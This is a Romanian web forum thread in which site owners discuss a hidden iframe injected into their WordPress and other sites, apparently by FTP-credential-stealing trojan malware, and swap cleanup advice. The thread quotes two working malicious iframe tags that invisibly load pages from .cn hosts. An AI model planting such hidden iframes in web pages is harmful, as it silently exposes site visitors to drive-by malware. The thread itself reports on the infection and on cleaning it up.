Versiune printabilă
Salut. Dimineata am incercat sa intru pe un blog personal cand am obs ca nu ma puteam loga. Dupa ce introduceam user si pass imi ramanea intr-o pagina alba.
Am gasit in sursa inserat pe prima linie in header urmatoarea linie :
L-am scos, totul merge ok acum, dar am cautat pe net si nu am gasit nimic legat de adresa respectiva.Cod:<iframe src="http://lotante.cn/in.cgi?income37" width=1 height=1 style="visibility: hidden"></iframe>
Voi aveti idee ce este ? Si cum a ajuns in codul de la wp?
ce vs de wordpress?
2.6.1
Si eu am gasit respectivul cod intr-un site.
Si observ ca si alte siteuri si bloguri pe care inca nu le-am verificat in sursa au simtome ciudate :(
concluzia: nimic nu e gratis pe lumea asta
;)
Ma oftic ca am bagat de cateva ori parola pana sa ma gandesc sa ma uit in sursa :(
Daca link-ul respectiv are un script care colecteaza user/parola, o singura data era de ajuns sa le bagi ca sa ti le ia. Probabil ca le-ai schimbat imediat... Ai verificat sa vezi daca se mai afla si in alte pagini?
upgradeaza IMEDIAT la 2.7.1 daca nu vrei sa mai ai iar probleme.. seria 2.6 are cateva probleme de genu asta.. eu am avut probleme cu 2 hackuri diferite.. pana sa apara 2.7 si chiar ma gandeam serios sa trec pe TextPattern si sa renunt la Wordpress.
(si cred ca asta am sa si fac :P)
asta e problema la softuri free.. trebuie sa le updatezi continuu :P
p.s schimba toate parolele .. wordpress ftp hosting etc :D
Deja cred ca este de la mine.
Am descoperit acum ca a aparut si pe alt site care este facut de de la 0.
M-a cam bagat in corzi ce sa zic.Cod:<iframe src="http://thelotbet.cn/in.cgi?income39" width=1 height=1 style="visibility: hidden"></iframe>
Se pare ca e un troian care face chestia asta. Am gasit pe google ceva de iframe injection. Am sa va tin la curent cu ce progrese fac
in siteurile cu pricina ai vreun form prin care se poate introduce cod html fara a fi filtrat?
Nu e asta problema @Augustin.
Pana nu dezinfectezi calculatorul schimbatul parolelor e cam inutil pentru ca acest virus modifica fisierele *index* atunci cand te conectezi la FTP.
Despre ce virus e vorba?Citat:
Postat în original de Alex Luca
Este un troian. Eu am gasit la mine pe calc Win32/TrojanDownloader.Wigon.BS
Nu stiu daca asta mi-a hacuit ftp-urile dar am citit pe net ca unul tot cu Downloader prin nume face chestia asta.
Offtopic: Chiar nu vreau sa imi instalez windows-ul dar nu gasesc niciun antivir+ spyware +malware care sa ma curete de tot.
tot oftopic:
"Acronis True Image" :P
Dupa ce instalezi windowsul si toate programele care le folosesti fa o imagine la partitia C si salveaza pe o alta partitie sau un dvd ceva.. si apoi in caz de probleme in 4-5 minute ai windosul asa cum l-ai salvat.
on topic:
de virus de genu nu am avut parte pana acum.. dar daca ai fi avut un firewall probabil ar fi blocat ala accesul.. sau te anunta ca vrea sa acceseze internetul..
Si recomandare foarte calda: REINSTALEAZA windows :D
Eu unul era sa pierd ceva conturi de email de la un keyloger care credeam ca l-am sters.
Da gresala a fost a mea. Acum cateva zile m-am jucat cu 3 prieteni carmageddon pe lan si am dat disable la firewall si l-am uitat asa. M-a cam costat distractia dar data viitoare stiu
Incearca antivirusul Avast. Pe mine m-a alertat cand am vrut sa intru pe un site care continea iframe-ul respectiv si i l-am recomandat cuiva din vina caruia se "virusase" siteul (in timpul scanarii i-a gasit niste chestii).Citat:
Postat în original de prodan_13
Sfat: Cei care ati patit-o, ar fi bine sa va uitati prin toate fisierele *index* si nu numai.
problema asta o am sie u de o saptamana fix acelasi cod de iframe.
am facut o cerere la serviciul de gazduire sa-mi scaneze toate paginile unde am acest cod bagat... mi le-au scanat baietii destulde repede. am scos iframeurile ; am schimbat parolele dar a 2-a zi au reaparut codurile astea :(( nu mai stiu ce sa fac sa scap de ele
Un reinstall la windows. Eu am scapat intr-un sfarsit :)
windowsul l-am reinstalat si eu ..dar problemele tot persista pe server din cate vadCitat:
Postat în original de prodan_13
http://www.auto-secondhand.ro/blog.jpg
E un virus care modifica fisierele uploadate pe ftp. Nu e nevoie de format/reinstall de windows...un kaspersky trial sau cu o licenta de xtrempc + un scan in safe mode te rezolva ;)
E un vierme online, probabil versiunea ta e vulnerabila.
Eu zic ca ti-a infectat toate fisierele "index*". Exista cateva script-uri pe internet care te scapa de asa ceva, dar trebuie sa ai access ssh.
De asta este bun un backup, pentru chestii de genul asta.
Succes!
Intra cu internet explorer pe kaspersky.com - cauta scan online si da-i o scanare. Rezultate garantate !